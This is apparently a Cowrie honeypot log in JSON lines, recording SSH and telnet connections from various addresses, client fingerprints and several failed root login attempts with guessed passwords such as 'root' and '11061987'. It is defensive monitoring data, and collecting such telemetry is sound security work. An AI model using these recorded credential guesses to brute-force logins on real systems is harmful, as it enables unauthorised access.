{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:33.432429Z","src_ip":"147.45.199.80","session":"a9584bb05c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:33.731862Z","src_ip":"147.45.199.80","session":"a9584bb05c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:34.835924Z","src_ip":"147.45.199.80","session":"a9584bb05c9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49580,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d67dcdf1fa1","protocol":"telnet","message":"New connection: 135.148.14.151:49580 (159.203.135.109:23) [session: 6d67dcdf1fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:44.179618Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54196,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d8cc570f78","protocol":"telnet","message":"New connection: 135.148.14.151:54196 (159.203.135.109:23) [session: 99d8cc570f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:57.288884Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57542,"dst_ip":"159.203.135.109","dst_port":23,"session":"c128fa573ff1","protocol":"telnet","message":"New connection: 135.148.14.151:57542 (159.203.135.109:23) [session: c128fa573ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:00:01.498209Z"}
{"eventid":"cowrie.session.closed","duration":38.26625967025757,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:00:22.445760Z","src_ip":"135.148.14.151","session":"6d67dcdf1fa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.529887199401855,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:00:30.818637Z","src_ip":"135.148.14.151","session":"99d8cc570f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.976163387298584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:00:39.474246Z","src_ip":"135.148.14.151","session":"c128fa573ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49320,"dst_ip":"10.17.0.5","dst_port":22,"session":"739223419691","protocol":"ssh","message":"New connection: 185.236.22.41:49320 (10.17.0.5:22) [session: 739223419691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:14.865005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:14.874391Z","src_ip":"185.236.22.41","session":"739223419691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:14.988672Z","src_ip":"185.236.22.41","session":"739223419691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123498765","message":"login attempt [root/123498765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:15.350803Z","src_ip":"185.236.22.41","session":"739223419691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:16.466815Z","src_ip":"185.236.22.41","session":"739223419691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":22838,"dst_ip":"159.203.135.109","dst_port":22,"session":"781efb160908","protocol":"ssh","message":"New connection: 38.93.206.2:22838 (159.203.135.109:22) [session: 781efb160908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:22.622524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:22.627660Z","src_ip":"38.93.206.2","session":"781efb160908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:22.678229Z","src_ip":"38.93.206.2","session":"781efb160908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11061987","message":"login attempt [root/11061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:22.830729Z","src_ip":"38.93.206.2","session":"781efb160908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:23.898210Z","src_ip":"38.93.206.2","session":"781efb160908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44582,"dst_ip":"159.203.135.109","dst_port":23,"session":"68309c267910","protocol":"telnet","message":"New connection: 135.148.14.151:44582 (159.203.135.109:23) [session: 68309c267910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:01:38.093704Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56148,"dst_ip":"159.203.135.109","dst_port":23,"session":"132fddab23c6","protocol":"telnet","message":"New connection: 135.148.14.151:56148 (159.203.135.109:23) [session: 132fddab23c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:04.926165Z"}
{"eventid":"cowrie.session.closed","duration":34.159419298172,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:12.253005Z","src_ip":"135.148.14.151","session":"68309c267910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.56.159.185","src_port":47276,"dst_ip":"10.17.0.5","dst_port":22,"session":"f465b029bb13","protocol":"ssh","message":"New connection: 50.56.159.185:47276 (10.17.0.5:22) [session: f465b029bb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:33.320572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:33.398940Z","src_ip":"50.56.159.185","session":"f465b029bb13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:33.402891Z","src_ip":"50.56.159.185","session":"f465b029bb13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:33.797667Z","src_ip":"50.56.159.185","session":"f465b029bb13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:34.843767Z","src_ip":"50.56.159.185","session":"f465b029bb13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.381677865982056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:02:39.307713Z","src_ip":"135.148.14.151","session":"132fddab23c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47960,"dst_ip":"159.203.135.109","dst_port":22,"session":"66014a4b2f2b","protocol":"ssh","message":"New connection: 89.223.69.22:47960 (159.203.135.109:22) [session: 66014a4b2f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:28.159951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:28.165056Z","src_ip":"89.223.69.22","session":"66014a4b2f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:28.281541Z","src_ip":"89.223.69.22","session":"66014a4b2f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1","message":"login attempt [root/alex1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:28.625318Z","src_ip":"89.223.69.22","session":"66014a4b2f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:29.743828Z","src_ip":"89.223.69.22","session":"66014a4b2f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46746,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9ab76111f1e","protocol":"telnet","message":"New connection: 180.235.129.180:46746 (10.17.0.5:23) [session: a9ab76111f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:47.472202Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46744,"dst_ip":"10.17.0.5","dst_port":23,"session":"016690211056","protocol":"telnet","message":"New connection: 180.235.129.180:46744 (10.17.0.5:23) [session: 016690211056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:03:47.604451Z"}
{"eventid":"cowrie.session.closed","duration":14.637276411056519,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:04:02.241354Z","src_ip":"180.235.129.180","session":"016690211056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52980,"dst_ip":"159.203.135.109","dst_port":23,"session":"11821592e556","protocol":"telnet","message":"New connection: 135.148.14.151:52980 (159.203.135.109:23) [session: 11821592e556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:06.437370Z"}
{"eventid":"cowrie.session.closed","duration":79.5129885673523,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:06.985040Z","src_ip":"180.235.129.180","session":"a9ab76111f1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.247967004776,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:42.685209Z","src_ip":"135.148.14.151","session":"11821592e556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46328,"dst_ip":"10.17.0.5","dst_port":22,"session":"249e658a5d9c","protocol":"ssh","message":"New connection: 103.122.221.179:46328 (10.17.0.5:22) [session: 249e658a5d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:46.524898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:46.533296Z","src_ip":"103.122.221.179","session":"249e658a5d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:46.780916Z","src_ip":"103.122.221.179","session":"249e658a5d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"g123098","message":"login attempt [root/g123098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:47.525529Z","src_ip":"103.122.221.179","session":"249e658a5d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:05:48.776444Z","src_ip":"103.122.221.179","session":"249e658a5d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36160,"dst_ip":"159.203.135.109","dst_port":22,"session":"39cc9e97aeeb","protocol":"ssh","message":"New connection: 193.37.70.224:36160 (159.203.135.109:22) [session: 39cc9e97aeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:15.446697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:15.451924Z","src_ip":"193.37.70.224","session":"39cc9e97aeeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:15.541864Z","src_ip":"193.37.70.224","session":"39cc9e97aeeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31051991","message":"login attempt [root/31051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:15.814131Z","src_ip":"193.37.70.224","session":"39cc9e97aeeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:16.907817Z","src_ip":"193.37.70.224","session":"39cc9e97aeeb","protocol":"ssh"}
